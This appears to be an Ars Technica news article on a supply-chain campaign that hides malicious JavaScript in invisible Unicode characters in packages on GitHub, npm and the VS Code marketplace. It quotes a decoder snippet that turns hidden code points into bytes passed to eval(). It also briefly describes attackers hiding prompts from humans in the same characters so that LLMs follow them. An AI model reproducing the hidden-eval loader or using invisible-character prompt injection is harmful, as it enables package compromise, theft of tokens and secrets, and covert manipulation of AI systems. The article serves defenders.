Supply-chain attack using invisible code hits GitHub and other repositories

The invisible code is rendered with Public Use Areas (sometimes called Public Use Access), which are ranges in the Unicode specification for special characters reserved for private use in defining emojis, flags, and other symbols. The code points represent every letter of the US alphabet when fed to computers, but their output is completely invisible to humans. People reviewing code or using static analysis tools see only whitespace or blank lines. To a JavaScript interpreter, the code points translate into executable code.

The invisible Unicode characters were devised decades ago and then largely forgotten. That is, until 2024, when hackers began using the characters to conceal malicious prompts fed to AI engines. While the text was invisible to humans and text scanners, LLMs had little trouble reading them and following the malicious instructions they conveyed. AI engines have since devised guardrails that are designed to restrict usage of the characters, but such defenses are periodically overridden.

Since then, the Unicode technique has been used in more traditional malware attacks. In one of the packages Aikido analyzed in Friday's post, the attackers encoded a malicious payload using the invisible characters. Inspection of the code shows nothing. During the JavaScript runtime, however, a small decoder extracts the real bytes and passes them to the eval() function.

```
const s = v => [...v].map(w => ( w = w.codePointAt(0), w >=
```

```
0xFE00 && w <= 0xFE0F ? w - 0xFE00 : w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
```

“The backtick string passed to s() looks empty in every viewer, but it’s packed with invisible characters that, once decoded, produce a full malicious payload,” Aikido explained. “In past incidents, that decoded payload fetched and executed a second-stage script using Solana as a delivery channel, capable of stealing tokens, credentials, and secrets.”

Since finding the new round of packages on GitHub, the researchers have found similar ones on npm and the VS Code marketplace. Aikido said the 151 packages detected are likely a small fraction spread across the campaign because many have been deleted since first being uploaded.

The best way to protect against the scourge of supply-chain attacks is to carefully inspect packages and their dependencies before incorporating them into projects. This includes scrutinizing package names and searching for typos. If suspicions about LLM use are correct, malicious packages may increasingly appear to be legitimate, particularly when invisible unicode characters are encoding malicious payloads.

https://arstechnica.com/security/2026/03/supply-chain-attack-using-invisible-code-hits-github-and-other-repositories/